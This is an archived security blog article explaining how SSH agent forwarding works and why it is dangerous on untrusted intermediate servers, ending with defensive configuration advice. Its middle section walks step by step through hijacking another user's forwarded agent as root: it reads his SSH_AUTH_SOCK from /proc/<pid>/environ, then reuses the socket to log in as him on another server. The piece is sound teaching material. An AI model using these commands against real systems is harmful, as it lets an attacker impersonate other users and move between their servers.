SSH Agent Hijacking - Clockwork

Archived: 2026-04-05 22:35:42 UTC

When ForwardAgent Can't Be Trusted

SSH without passwords makes life with Unix-like operating systems much easier. If your network requires chained ssh sessions (to access a restricted network, for example), agent forwarding becomes extremely helpful. With agent forwarding it's possible for me to connect from my laptop to my dev server and from there run an `svn checkout` from yet another server, all without passwords, while keeping my private key safe on my local workstation.

This can be dangerous, though. A quick web search will reveal several articles indicating this is only safe if the intermediate hosts are trustworthy. Rarely, however, will you find an explanation of *why* it's dangerous.

That's what this article is for. But first, some background.

How Passwordless Authentication Works

When authenticating in normal mode, SSH uses your password to prove that you are who you say you are. The server compares a hash of this password to one it has on file, verifies that the hashes match, and lets you in.

If an attacker is able to break the encryption used to protect your password while it's being sent to the server, they can steal the it and log in as you whenever they desire. If an attacker is allowed to perform hundreds of thousands of attempts, they can eventually guess your password.

A much safer authentication method is public key authentication, a way of logging in without a password. Public key authentication requires a matched pair of public and private keys. The public key encrypts messages that can only be decrypted with the private key. The remote computer uses its copy of your public key to encrypt a secret message to you. You prove you are you by decrypting the message using your private key and sending the message back to the remote computer. Your private key remains safely on your local computer the entire time, safe from attack.

The private key is valuable and must be protected, so by default it is stored in an encrypted format. Unfortunately this means entering your encryption passphrase before using it. Many articles suggest using passphrase-less (unencrypted) private keys to avoid this inconvenience. That's a bad idea, as anyone with access to your workstation (via physical access, theft, or hackery) now also has free access to any computers configured with your public key.

OpenSSH includes ssh-agent, a daemon that runs on your local workstation. It loads a decrypted copy of your private key into memory, so you only have to enter your passphrase once. It then provides a local socket that the ssh client can use to ask it to decrypt the encrypted message sent back by the remote server. Your private key stays

safely ensconced in the ssh-agent process' memory while still allowing you to ssh around without typing in passwords.

How ForwardAgent Works

Many tasks require "chaining" ssh sessions. Consider my example from earlier: I ssh from my workstation to the dev server. While there, I need to perform an svn update, using the "svn+ssh" protocol. Since it would be silly to leave an unencrypted copy of my super-secret private key on a shared server, I'm now stuck with password authentication. If, however, I enabled "ForwardAgent" in the ssh config on my workstation, ssh uses its built-in tunneling capabilities to create another socket on the dev server that is tunneled back to the ssh-agent socket on my local workstation. This means that the ssh client on the dev server can now send "decrypt this secret message" requests directly back to the ssh-agent running on my workstation, authenticating itself to the svn server without ever having access to my private key.

Why This Can Be Dangerous

Simply put, anyone with root privilege on the the intermediate server can make free use of your ssh-agent to authenticate them to other servers. A simple demonstration shows how trivially this can be done. Hostnames and usernames have been changed to protect the innocent.

My laptop is running ssh-agent, which communicates with the ssh client programs via a socket. The path to this socket is stored in the `SSH_AUTH_SOCK` environment variable:

```
mylaptop:~ env|grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners

mylaptop:~ ls -l /tmp/launch-oQKpeY/Listeners
srwx------  1 alice  wheel  0 Apr  3 11:04 /tmp/launch-oQKpeY/Listeners
```

The ssh-add program lets us view and interact with keys in the agent:

```
mylaptop:~ alice$ ssh-add -l
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
```

I have "`ForwardAgent yes`" in the `~/.ssh/config` on my laptop. So `ssh` is going to create a tunnel connecting the local socket to a local socket on the remote server:

```
mylaptop:~ alice$ ssh seattle

seattle:~ $ env|grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990
```

Even though my keys are not installed on “seattle”, the ssh client programs are still able to access the agent running on my local machine:

```
seattle:~ alice $ ssh-add -l
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
```

So… who can we mess with?

```
seattle:~ alice $ who
alice   pts/0        2012-04-06 18:24 (office.example.com)
bob     pts/1        2012-04-03 01:29 (office.example.com)
alice   pts/3        2012-04-06 18:31 (office.example.com)
alice   pts/5        2012-04-06 18:31 (office.example.com)
alice   pts/6        2012-04-06 18:33 (office.example.com)
charlie pts/23       2012-04-06 13:10 (office.example.com)
charlie pts/27       2012-04-03 12:32 (office.example.com)
bob     pts/29       2012-04-02 10:58 (office.example.com)
```

I’ve never liked Bob. To find his agent connection, I need to find the child process of one of his ssh sessions:

```
seattle:~ alice $ sudo -s
[sudo] password for alice:

seattle:~ root # pstree -p bob
sshd(16816)─────bash(16817)

sshd(25296)─────bash(25297)─────vim(14308)
```

There are several ways for root to view the environment of a running process. On Linux, the data is available in `/proc/<pid>/environ`. Since it’s stored in NULL-terminated strings, I’ll use `tr` to convert the NULLs to newlines:

```
seattle:~ root # tr '' 'n' < /proc/16817/environ | grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816
```

I now have everything I need to know in order to hijack Bob’s `ssh-agent`:

```
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l
2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA)
```

If I happen to have a specific target in mind, I should now be able to connect directly. Otherwise, just watching the process list or grepping through Bob’s history file should present plenty of targets of opportunity. In this case, I know Bob has all sorts of super secret files stored on the server named “boston”:

```
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
bob@boston:~$ whoami
bob
```

I have succesfully parlayed my root privileges on “seattle” to access as bob on “boston”. I’ll bet I can use that to get him fired.

Protect Yourself!

Don’t let your ssh-agent store your keys indefinitely. On OS X, configure your Keychain to lock after inactivity or when your screen locks. On other Unix-y platforms, pass the `-t` option to `ssh-agent` so its keys will be removed after seconds.

Don’t enable agent forwarding when connecting to untrustworthy hosts. Fortunately, the `~/.ssh/config` syntax makes this fairly simple:

```
Host trustworthyhost
  ForwardAgent yes
```

```
Host *
  ForwardAgent no
```
